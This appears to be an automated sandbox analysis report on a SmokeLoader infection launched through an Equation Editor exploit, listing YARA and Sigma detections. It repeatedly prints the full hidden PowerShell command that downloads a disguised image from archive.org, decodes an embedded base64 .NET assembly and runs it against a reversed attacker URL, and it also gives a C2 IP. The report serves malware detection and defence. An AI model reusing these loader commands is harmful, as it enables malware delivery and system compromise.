0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000019.00000002.628348956.0000000000061000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Process Memory Space: powershell.exe PID: 3516	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3516	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6468:$b2: ::FromBase64String( 0x6aea:$b2: ::FromBase64String( 0x6efb:$b2: ::FromBase64String( 0x340b0:$b2: ::FromBase64String( 0x349e9:$b2: ::FromBase64String( 0x35878:$b2: ::FromBase64String( 0x6e8f3:$b2: ::FromBase64String( 0x62dc:$b3: ::UTF8.GetString( 0x695e:$b3: ::UTF8.GetString( 0x6d6f:$b3: ::UTF8.GetString( 0x33f24:$b3: ::UTF8.GetString( 0x3485d:$b3: ::UTF8.GetString( 0x356ec:$b3: ::UTF8.GetString( 0x6e767:$b3: ::UTF8.GetString( 0xccece:$s1: -join 0xcf93e:$s1: -join 0xdbf8:$s3: reverse 0x19620:$s3: reverse 0x599b7:$s3: reverse 0x65f94:$s3: reverse 0x99674:$s3: reverse
Process Memory Space: powershell.exe PID: 3628	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3628	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xd85e7:$b2: ::FromBase64String( 0xd89f3:$b2: ::FromBase64String( 0xd9014:$b2: ::FromBase64String( 0xd95e1:$b2: ::FromBase64String( 0xf81a8:$b2: ::FromBase64String( 0xf85ae:$b2: ::FromBase64String( 0xf9a0c:$b2: ::FromBase64String( 0xfe132:$b2: ::FromBase64String( 0x101bff:$b2: ::FromBase64String( 0x101f93:$b2: ::FromBase64String( 0x225bcf:$b2: ::FromBase64String( 0x256a88:$b2: ::FromBase64String( 0x2bcd9f:$b2: ::FromBase64String( 0x2bd1a4:$b2: ::FromBase64String( 0x2d80b4:$b2: ::FromBase64String( 0x2db754:$b2: ::FromBase64String( 0x2dbb59:$b2: ::FromBase64String( 0x2dece7:$b2: ::FromBase64String( 0x2df89a:$b2: ::FromBase64String( 0x75d1af:$b2: ::FromBase64String( 0x776b03:$b2: ::FromBase64String(
Process Memory Space: explorer.exe PID: 2840	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Process Memory Space: explorer.exe PID: 2836	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.powershell.exe.2878da8.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
10.2.RegAsm.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 23.94.148.16, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3312, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3312, TargetFilename: C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ?

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3312, Protocol: tcp, SourceIp: 23.94.148.16, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3312, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" , ProcessId: 3472, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3312, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" , ProcessId: 3472, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ?

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\gwseuha, CommandLine: C:\Users\user\AppData\Roaming\gwseuha, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\gwseuha, NewProcessName: C:\Users\user\AppData\Roaming\gwseuha, OriginalFileName: C:\Users\user\AppData\Roaming\gwseuha, ParentCommandLine: taskeng.exe {B5E7D6C9-0A45-4095-9C68-D1725C8390DE} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1], ParentImage: C:\Windows\System32\taskeng.exe, ParentProcessId: 3988, ParentProcessName: taskeng.exe, ProcessCommandLine: C:\Users\user\AppData\Roaming\gwseuha, ProcessId: 4020, ProcessName: gwseuha

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: 